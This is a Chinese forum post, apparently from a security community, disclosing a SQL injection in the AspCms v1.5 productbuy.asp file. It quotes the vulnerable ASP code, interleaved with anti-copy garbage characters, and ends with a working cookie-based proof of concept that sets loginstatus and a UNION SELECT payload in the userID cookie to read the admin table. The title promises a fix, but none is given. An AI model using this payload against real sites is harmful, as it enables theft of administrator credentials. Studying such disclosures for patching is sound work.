AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

5 K" H1 \4 m  T<%

/ n  U8 S9 g3 _3 z9 s# I! a( Xif action = "buy" then
" P8 m; F- w0 W$ L7 s, @* G
        addOrder()
, z/ u, _9 T" N6 j% T& K& X
else

        echoContent()

end if


/ J6 F' u% `0 _4 {, V, j0 V$ i
3 v2 i! J* E# {/ U9 u……略过
, k2 [2 j- T$ |' X: a) N  |

3 `  H# |8 n, N; Q9 j1 B: I% `
8 g% T/ c; c" ?Sub echoContent()

        dim id
; n& p4 O* ]$ J& Y1 Q' h, K5 S
/ E- W, l6 X. i  b        id=getForm("id","get")
" _2 n/ Z* a& ?+ y6 v
        

3 L+ R1 ?$ z7 m3 L7 T        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
4 G2 s; S# v+ `
# Y9 Q) `5 y! V7 S        

5 p, m# e, L/ u( X3 \& t% O& n; e        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
7 M6 }1 o/ ^9 T' j- v2 _8 C8 q- B
8 H, G- e: }8 N3 Z. M        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
& q% r& r* X6 m, {0 U, N0 w5 M
        Dim templatePath,tempStr
: |! K- |7 f9 g. c
2 l: N3 `3 |6 A        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
+ i' \/ R2 G9 _
* f$ @% Y5 \% o% X- x, g

        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
/ T- W+ {, D2 W" s( n. x" N8 v
        selectproduct=rsObj(0)
- }( j! X& B" r& d* W
" Z, H! q7 F" ]+ ~; |        
2 R6 y( @  i. S) o. L; D) e  i
0 D3 V* j0 i6 Q2 e4 K! O        Dim linkman,gender,phone,mobile,email,qq,address,postcode

5 l+ a1 p0 y% E/ i: C        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

3 U: m1 i" d$ O  K0 U$ ^        if rCookie("loginstatus")=1 then  
! K( w0 l7 N; B( z0 I9 m: X# |
3 W2 q  D) G+ ^* \. B                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")
5 H2 p2 T2 W" H# a
& j: _  i% r/ P5 X, B" h" e                gender=rsObj("gender")

7 \( O9 k) L! q# s0 E                phone=rsObj("phone")

                mobile=rsObj("mobile")
+ a, l) E# O; U) `8 a$ `" ?! ]6 z
                email=rsObj("email")
! z9 j( [9 ?5 s- T/ u3 C
4 h1 ^6 W3 S4 r                qq=rsObj("qq")

                address=rsObj("address")

  _/ X' k: [  o  G; r( w, g( A                postcode=rsObj("postcode")

        else
/ `+ a, E" F1 O+ o
                gender=1
, c, _, x9 N( [
        end if

        rsObj.close()

               
2 f1 k  o4 y- u/ H6 x$ [
! W2 I% I7 e8 o4 r$ ?* j6 O        with templateObj
5 s% U( V6 g  \+ w
6 N$ j- ?7 m" B1 b$ g                .content=loadFile(templatePath)        

                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
+ o/ j1 t5 v1 U2 N
9 Q* B. @$ ]0 X4 p                .content=replaceStr(.content,"[aspcms:gender]",gender)               

/ M9 r) t- K+ v1 x2 V) z                .content=replaceStr(.content,"[aspcms:phone]",phone)               

) ]; T) Q6 [* f( r# s                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

" H2 p0 [+ x/ @- a7 q9 k$ @6 [! x                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

8 G+ J7 G) v! E" Y, D/ d                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

                .parseCommon()                 
% Q# Y8 [9 s, d: [: s
6 b( {* c$ E$ m$ r                echo .content

        end with
) n; s  Q8 ~+ E4 ]$ i, g
        set templateobj =nothing : terminateAllObjects

End Sub
漏洞很明显，没啥好说的
% `, F1 Y3 k3 b) bpoc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
* z4 h5 Z  Q( X: R' u  \; `